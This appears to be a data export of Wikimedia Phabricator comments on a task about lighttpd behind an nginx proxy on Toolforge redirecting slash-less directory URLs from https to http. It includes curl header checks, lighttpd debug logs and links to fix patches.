+| Date: Tue, 29 Apr 2014 22:07:20 GMT
+| Connection: keep-alive
+| Location: http://tools.wmflabs.org/matthewrbowker/cnrd/
+
+| [tim@passepartout ~]$
+
+So we'll need to teach lighttpd about https (or rewrite redirects in nginx?).  From bug #59926, comment #8:
+
+> [...]               The proxy provides an X-FORWARDED-PROTO header which can
+> be used by the application to construct URIs if it really must redirect
+> between protocols.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53689",Medium,50.0,1398809340,1429986601.0,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-prswuex6vgjct27fucjm,task_description,resolved,True,c3,1,True,False,True,-62,True,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+449143,lighttpd redirects URLs of directories without a trailing slash from https to http,"@scfc <3 I did not know about proxy_redirect and did not look in that direection at all. Thank you very much :D Seems to work fine now both for redirects, non-redirects and root elements.",,,1429986601,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+449142,lighttpd redirects URLs of directories without a trailing slash from https to http,"Change 206519 merged by Yuvipanda:
+Tools: Fix redirects from https to http
+
+[[https://gerrit.wikimedia.org/r/206519]]",,,1429986260,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+449127,lighttpd redirects URLs of directories without a trailing slash from https to http,"Ah, sorry, I forgot to jot down how I intended it to fix.",,,1429979052,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+449125,lighttpd redirects URLs of directories without a trailing slash from https to http,"Change 206519 had a related patch set uploaded (by Tim Landscheidt):
+Tools: Fix redirects from https to http
+
+[[https://gerrit.wikimedia.org/r/206519]]
+",,,1429978901,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+449068,lighttpd redirects URLs of directories without a trailing slash from https to http,"Nope, it doesn't. I give up. Fuck lighttpd.",,,1429933920,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+449067,lighttpd redirects URLs of directories without a trailing slash from https to http,"ok, so ^ does it at the nginx level, which only handles the tool level redirect.",,,1429933862,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+449064,lighttpd redirects URLs of directories without a trailing slash from https to http,"Change 206504 merged by Yuvipanda:
+tools: Redirect tools.wmflabs.org/toolname appropriately
+
+[[https://gerrit.wikimedia.org/r/206504]]",,,1429933615,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+449060,lighttpd redirects URLs of directories without a trailing slash from https to http,"Change 206504 had a related patch set uploaded (by Yuvipanda):
+tools: Redirect tools.wmflabs.org/toolname appropriately
+
+[[https://gerrit.wikimedia.org/r/206504]]
+",,,1429931916,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+449055,lighttpd redirects URLs of directories without a trailing slash from https to http,Looks like the only solution is to write a small lighttpd module.,,,1429924963,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+449052,lighttpd redirects URLs of directories without a trailing slash from https to http,"After some false starts, looks like http://redmine.lighttpd.net/projects/1/wiki/Docs_ModMagnet might be the way to fix this. but that embeds lua in lighttpd as well, and I""m feeling a bit 'eugh' about that.",,,1429922956,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+449049,lighttpd redirects URLs of directories without a trailing slash from https to http,"Change 206488 merged by Yuvipanda:
+tools: Faux enable https for lighttpd by default
+
+[[https://gerrit.wikimedia.org/r/206488]]",,,1429921329,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+449046,lighttpd redirects URLs of directories without a trailing slash from https to http,"Change 206488 had a related patch set uploaded (by Yuvipanda):
+tools: Faux enable https for lighttpd by default
+
+[[https://gerrit.wikimedia.org/r/206488]]
+",,,1429921024,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+448064,lighttpd redirects URLs of directories without a trailing slash from https to http,See also {T95164}.,,,1429763004,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+432666,lighttpd redirects URLs of directories without a trailing slash from https to http,"I had intended to fix this in `nginx`; as I'll be diving into that for T88216 anyhow, licking the cookie.",,,1427312337,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+432662,lighttpd redirects URLs of directories without a trailing slash from https to http,"Scratch that, uwsgi also has this problem. It 'worked for me' because of httpseverywhere...",,,1427312154,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,0
+432657,lighttpd redirects URLs of directories without a trailing slash from https to http,"Although, note that the new uwsgi services don't have this problem...",,,1427311971,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+432656,lighttpd redirects URLs of directories without a trailing slash from https to http,"The proxy should do it, but it doesn't atm and I haven't had time to do it properly yet. ",,,1427311943,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+432655,lighttpd redirects URLs of directories without a trailing slash from https to http,"Ah, hm.  My understanding from the config was that this was (supposed to) be done by the proxy.  @yuvipanda: is that a bug or expected behaviour?",,,1427311906,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0
+432650,lighttpd redirects URLs of directories without a trailing slash from https to http,"No, it is not:
+
+```
+[tim@passepartout ~]$ curl -I https://tools.wmflabs.org/typoscan
+HTTP/1.1 301 Moved Permanently
+Server: nginx/1.4.6 (Ubuntu)
+Date: Wed, 25 Mar 2015 19:26:45 GMT
+Connection: keep-alive
+Location: http://tools.wmflabs.org/typoscan/
+X-Clacks-Overhead: GNU Terry Pratchett
+
+[tim@passepartout ~]$ curl -I https://tools.wmflabs.org/typoscan/test-for-T66627
+HTTP/1.1 301 Moved Permanently
+Server: nginx/1.4.6 (Ubuntu)
+Date: Wed, 25 Mar 2015 19:26:49 GMT
+Connection: keep-alive
+Location: http://tools.wmflabs.org/typoscan/test-for-T66627/
+X-Clacks-Overhead: GNU Terry Pratchett
+
+[tim@passepartout ~]$
+```",,,1427311635,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1
+432637,lighttpd redirects URLs of directories without a trailing slash from https to http,"This is no longer an issue since the redirection is handled by the proxy, now.",,,1427311026,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0
+302601,lighttpd redirects URLs of directories without a trailing slash from https to http,"I haven't receive any answer to http://serverfault.com/questions/602386/how-to-make-lighttpd-respect-x-forwarded-proto-when-constructing-redirects-for-d in the past two weeks; I have posted on the lighttpd support forum now as well at http://redmine.lighttpd.net/boards/2/topics/6028.
+
+Solving this in nginx looks doable, but I'd prefer if we can fix it in lighttpd.",,,1403444357,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-54,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+302596,lighttpd redirects URLs of directories without a trailing slash from https to http,"(In reply to metatron from comment #8)
+> Hmm, this need further knowledge on the subject.
+
+> 1. Lighttpd is configured without ssl engine, and makes rewrite only for
+> tool's root
+> >> ssl.engine = ""disable""
+> >> alias.url = ( ""/$tool"" => ""$home/public_html/"" )
+> [...]
+
+No, it does not rewrite only tools' roots:
+
+| scfc@tools-login:~$ curl -H 'Host: tools.wmflabs.org' -I http://tools-webgrid-02:4113/drtrigonbot/docs
+| HTTP/1.1 301 Moved Permanently
+| Location: http://tools.wmflabs.org/drtrigonbot/docs/
+| Date: Mon, 02 Jun 2014 02:52:20 GMT
+| Server: lighttpd/1.4.28
+
+| scfc@tools-login:~$
+
+As I have written a month ago.  And reiterated the day before yesterday.
+
+> A. lighttp request handling , debug /without/ slash
+> ## https://tools.wmflabs.org/newwebtest/test
+
+> 2014-05-31 19:37:21: (response.c.300) -- splitting Request-URI 
+> 2014-05-31 19:37:21: (response.c.301) Request-URI  :  /newwebtest/test/ 
+> 2014-05-31 19:37:21: (response.c.302) URI-scheme   :  http 
+> 2014-05-31 19:37:21: (response.c.303) URI-authority:  tools.wmflabs.org 
+> 2014-05-31 19:37:21: (response.c.304) URI-path     :  /newwebtest/test/ 
+> 2014-05-31 19:37:21: (response.c.305) URI-query    :   
+> 2014-05-31 19:37:21: (response.c.349) -- sanatising URI 
+> 2014-05-31 19:37:21: (response.c.350) URI-path     :  /newwebtest/test/ 
+> 2014-05-31 19:37:21: (mod_access.c.135) -- mod_access_uri_handler called 
+> 2014-05-31 19:37:21: (response.c.470) -- before doc_root 
+> 2014-05-31 19:37:21: (response.c.471) Doc-Root     :
+> /data/project/newwebtest/public_html 
+> 2014-05-31 19:37:21: (response.c.472) Rel-Path     : /newwebtest/test/ 
+> 2014-05-31 19:37:21: (response.c.473) Path         :  
+> 2014-05-31 19:37:21: (response.c.521) -- after doc_root 
+> 2014-05-31 19:37:21: (response.c.522) Doc-Root     :
+> /data/project/newwebtest/public_html 
+> 2014-05-31 19:37:21: (response.c.523) Rel-Path     : /newwebtest/test/ 
+> 2014-05-31 19:37:21: (response.c.524) Path         :
+> /data/project/newwebtest/public_html/newwebtest/test/ 
+> 2014-05-31 19:37:21: (response.c.541) -- logical -> physical 
+> 2014-05-31 19:37:21: (response.c.542) Doc-Root     :
+> /data/project/newwebtest/public_html 
+> 2014-05-31 19:37:21: (response.c.543) Rel-Path     : /newwebtest/test/ 
+> 2014-05-31 19:37:21: (response.c.544) Path         :
+> /data/project/newwebtest/public_html//test/ 
+> 2014-05-31 19:37:21: (response.c.561) -- handling physical path 
+> 2014-05-31 19:37:21: (response.c.562) Path         :
+> /data/project/newwebtest/public_html//test/ 
+> 2014-05-31 19:37:21: (response.c.569) -- file found 
+> 2014-05-31 19:37:21: (response.c.570) Path         :
+> /data/project/newwebtest/public_html//test/ 
+> 2014-05-31 19:37:21: (response.c.719) -- handling subrequest 
+> 2014-05-31 19:37:21: (response.c.720) Path         :
+> /data/project/newwebtest/public_html//test/ 
+> 2014-05-31 19:37:21: (mod_indexfile.c.150) -- handling the request as
+> Indexfile 
+> 2014-05-31 19:37:21: (mod_indexfile.c.151) URI          : /newwebtest/test/ 
+> 2014-05-31 19:37:21: (mod_access.c.135) -- mod_access_uri_handler called 
+> 2014-05-31 19:37:21: (mod_compress.c.683) -- handling file as static file 
+> 2014-05-31 19:37:21: (mod_staticfile.c.397) -- handling file as static file 
+> 2014-05-31 19:37:21: (response.c.731) -- subrequest finished 
+
+> [...]
+
+And this is just a lie.  The request log for https://tools.wmflabs.org/newwebtest/test looks like:
+
+| 2014-06-02 03:00:13: (response.c.300) -- splitting Request-URI 
+| 2014-06-02 03:00:13: (response.c.301) Request-URI  :  /newwebtest/test 
+| 2014-06-02 03:00:13: (response.c.302) URI-scheme   :  http 
+| 2014-06-02 03:00:13: (response.c.303) URI-authority:  tools.wmflabs.org 
+| 2014-06-02 03:00:13: (response.c.304) URI-path     :  /newwebtest/test 
+| 2014-06-02 03:00:13: (response.c.305) URI-query    :   
+| 2014-06-02 03:00:13: (response.c.349) -- sanatising URI 
+| 2014-06-02 03:00:13: (response.c.350) URI-path     :  /newwebtest/test 
+| 2014-06-02 03:00:13: (mod_access.c.135) -- mod_access_uri_handler called 
+| 2014-06-02 03:00:13: (response.c.470) -- before doc_root 
+| 2014-06-02 03:00:13: (response.c.471) Doc-Root     : /data/project/newwebtest/public_html 
+| 2014-06-02 03:00:13: (response.c.472) Rel-Path     : /newwebtest/test 
+| 2014-06-02 03:00:13: (response.c.473) Path         :  
+| 2014-06-02 03:00:13: (response.c.521) -- after doc_root 
+| 2014-06-02 03:00:13: (response.c.522) Doc-Root     : /data/project/newwebtest/public_html 
+| 2014-06-02 03:00:13: (response.c.523) Rel-Path     : /newwebtest/test 
+| 2014-06-02 03:00:13: (response.c.524) Path         : /data/project/newwebtest/public_html/newwebtest/test 
+| 2014-06-02 03:00:13: (response.c.541) -- logical -> physical 
+| 2014-06-02 03:00:13: (response.c.542) Doc-Root     : /data/project/newwebtest/public_html 
+| 2014-06-02 03:00:13: (response.c.543) Rel-Path     : /newwebtest/test 
+| 2014-06-02 03:00:13: (response.c.544) Path         : /data/project/newwebtest/public_html//test 
+| 2014-06-02 03:00:13: (response.c.561) -- handling physical path 
+| 2014-06-02 03:00:13: (response.c.562) Path         : /data/project/newwebtest/public_html//test 
+| 2014-06-02 03:00:13: (response.c.569) -- file found 
+| 2014-06-02 03:00:13: (response.c.570) Path         : /data/project/newwebtest/public_html//test 
+| 2014-06-02 03:00:13: (response.c.300) -- splitting Request-URI 
+| 2014-06-02 03:00:13: (response.c.301) Request-URI  :  /newwebtest/test/ 
+| 2014-06-02 03:00:13: (response.c.302) URI-scheme   :  http 
+| 2014-06-02 03:00:13: (response.c.303) URI-authority:  tools.wmflabs.org 
+| 2014-06-02 03:00:13: (response.c.304) URI-path     :  /newwebtest/test/ 
+| 2014-06-02 03:00:13: (response.c.305) URI-query    :   
+| 2014-06-02 03:00:13: (response.c.349) -- sanatising URI 
+| 2014-06-02 03:00:13: (response.c.350) URI-path     :  /newwebtest/test/ 
+| 2014-06-02 03:00:13: (mod_access.c.135) -- mod_access_uri_handler called 
+| 2014-06-02 03:00:13: (response.c.470) -- before doc_root 
+| 2014-06-02 03:00:13: (response.c.471) Doc-Root     : /data/project/newwebtest/public_html 
+| 2014-06-02 03:00:13: (response.c.472) Rel-Path     : /newwebtest/test/ 
+| 2014-06-02 03:00:13: (response.c.473) Path         :  
+| 2014-06-02 03:00:13: (response.c.521) -- after doc_root 
+| 2014-06-02 03:00:13: (response.c.522) Doc-Root     : /data/project/newwebtest/public_html 
+| 2014-06-02 03:00:13: (response.c.523) Rel-Path     : /newwebtest/test/ 
+| 2014-06-02 03:00:13: (response.c.524) Path         : /data/project/newwebtest/public_html/newwebtest/test/ 
+| 2014-06-02 03:00:13: (response.c.541) -- logical -> physical 
+| 2014-06-02 03:00:13: (response.c.542) Doc-Root     : /data/project/newwebtest/public_html 
+| 2014-06-02 03:00:13: (response.c.543) Rel-Path     : /newwebtest/test/ 
+| 2014-06-02 03:00:13: (response.c.544) Path         : /data/project/newwebtest/public_html//test/ 
+| 2014-06-02 03:00:13: (response.c.561) -- handling physical path 
+| 2014-06-02 03:00:13: (response.c.562) Path         : /data/project/newwebtest/public_html//test/ 
+| 2014-06-02 03:00:13: (response.c.569) -- file found 
+| 2014-06-02 03:00:13: (response.c.570) Path         : /data/project/newwebtest/public_html//test/ 
+| 2014-06-02 03:00:13: (response.c.719) -- handling subrequest 
+| 2014-06-02 03:00:13: (response.c.720) Path         : /data/project/newwebtest/public_html//test/ 
+| 2014-06-02 03:00:13: (mod_indexfile.c.150) -- handling the request as Indexfile 
+| 2014-06-02 03:00:13: (mod_indexfile.c.151) URI          : /newwebtest/test/ 
+| 2014-06-02 03:00:13: (mod_access.c.135) -- mod_access_uri_handler called 
+| 2014-06-02 03:00:13: (mod_compress.c.683) -- handling file as static file 
+| 2014-06-02 03:00:13: (mod_staticfile.c.397) -- handling file as static file 
+| 2014-06-02 03:00:13: (response.c.731) -- subrequest finished 
+
+That clearly shows that there is an initial request that causes a redirect (by lighttpd) to be returned to the browser followed by another request with the correct URL.",,,1401678444,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-57,True,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+302590,lighttpd redirects URLs of directories without a trailing slash from https to http,"**metatron** wrote:
+
+Hmm, this need further knowledge on the subject.
+
+1. Lighttpd is configured without ssl engine, and makes rewrite only for tool's root
+>> ssl.engine = ""disable""
+>> alias.url = ( ""/$tool"" => ""$home/public_html/"" )
+
+2. the requested url /is/ https and should be served as https. This is indsiputabled the job of webproxy, as lighty doesn't know anything about ssl.
+
+3. the debug output below shows 2 requests, https with and without trauling slash for static index.html in /newwebtest/test  folder - they are both identical (as expected on lighty's side)
+
+
+
+A. lighttp request handling , debug /without/ slash
+## https://tools.wmflabs.org/newwebtest/test
+
+2014-05-31 19:37:21: (response.c.300) -- splitting Request-URI 
+2014-05-31 19:37:21: (response.c.301) Request-URI  :  /newwebtest/test/ 
+2014-05-31 19:37:21: (response.c.302) URI-scheme   :  http 
+2014-05-31 19:37:21: (response.c.303) URI-authority:  tools.wmflabs.org 
+2014-05-31 19:37:21: (response.c.304) URI-path     :  /newwebtest/test/ 
+2014-05-31 19:37:21: (response.c.305) URI-query    :   
+2014-05-31 19:37:21: (response.c.349) -- sanatising URI 
+2014-05-31 19:37:21: (response.c.350) URI-path     :  /newwebtest/test/ 
+2014-05-31 19:37:21: (mod_access.c.135) -- mod_access_uri_handler called 
+2014-05-31 19:37:21: (response.c.470) -- before doc_root 
+2014-05-31 19:37:21: (response.c.471) Doc-Root     : /data/project/newwebtest/public_html 
+2014-05-31 19:37:21: (response.c.472) Rel-Path     : /newwebtest/test/ 
+2014-05-31 19:37:21: (response.c.473) Path         :  
+2014-05-31 19:37:21: (response.c.521) -- after doc_root 
+2014-05-31 19:37:21: (response.c.522) Doc-Root     : /data/project/newwebtest/public_html 
+2014-05-31 19:37:21: (response.c.523) Rel-Path     : /newwebtest/test/ 
+2014-05-31 19:37:21: (response.c.524) Path         : /data/project/newwebtest/public_html/newwebtest/test/ 
+2014-05-31 19:37:21: (response.c.541) -- logical -> physical 
+2014-05-31 19:37:21: (response.c.542) Doc-Root     : /data/project/newwebtest/public_html 
+2014-05-31 19:37:21: (response.c.543) Rel-Path     : /newwebtest/test/ 
+2014-05-31 19:37:21: (response.c.544) Path         : /data/project/newwebtest/public_html//test/ 
+2014-05-31 19:37:21: (response.c.561) -- handling physical path 
+2014-05-31 19:37:21: (response.c.562) Path         : /data/project/newwebtest/public_html//test/ 
+2014-05-31 19:37:21: (response.c.569) -- file found 
+2014-05-31 19:37:21: (response.c.570) Path         : /data/project/newwebtest/public_html//test/ 
+2014-05-31 19:37:21: (response.c.719) -- handling subrequest 
+2014-05-31 19:37:21: (response.c.720) Path         : /data/project/newwebtest/public_html//test/ 
+2014-05-31 19:37:21: (mod_indexfile.c.150) -- handling the request as Indexfile 
+2014-05-31 19:37:21: (mod_indexfile.c.151) URI          : /newwebtest/test/ 
+2014-05-31 19:37:21: (mod_access.c.135) -- mod_access_uri_handler called 
+2014-05-31 19:37:21: (mod_compress.c.683) -- handling file as static file 
+2014-05-31 19:37:21: (mod_staticfile.c.397) -- handling file as static file 
+2014-05-31 19:37:21: (response.c.731) -- subrequest finished 
+
+
+B. lighttp request handling , debug /with/ slash
+## https://tools.wmflabs.org/newwebtest/test/
+
+2014-05-31 19:40:57: (response.c.300) -- splitting Request-URI 
+2014-05-31 19:40:57: (response.c.301) Request-URI  :  /newwebtest/test/ 
+2014-05-31 19:40:57: (response.c.302) URI-scheme   :  http 
+2014-05-31 19:40:57: (response.c.303) URI-authority:  tools.wmflabs.org 
+2014-05-31 19:40:57: (response.c.304) URI-path     :  /newwebtest/test/ 
+2014-05-31 19:40:57: (response.c.305) URI-query    :   
+2014-05-31 19:40:57: (response.c.349) -- sanatising URI 
+2014-05-31 19:40:57: (response.c.350) URI-path     :  /newwebtest/test/ 
+2014-05-31 19:40:57: (mod_access.c.135) -- mod_access_uri_handler called 
+2014-05-31 19:40:57: (response.c.470) -- before doc_root 
+2014-05-31 19:40:57: (response.c.471) Doc-Root     : /data/project/newwebtest/public_html 
+2014-05-31 19:40:57: (response.c.472) Rel-Path     : /newwebtest/test/ 
+2014-05-31 19:40:57: (response.c.473) Path         :  
+2014-05-31 19:40:57: (response.c.521) -- after doc_root 
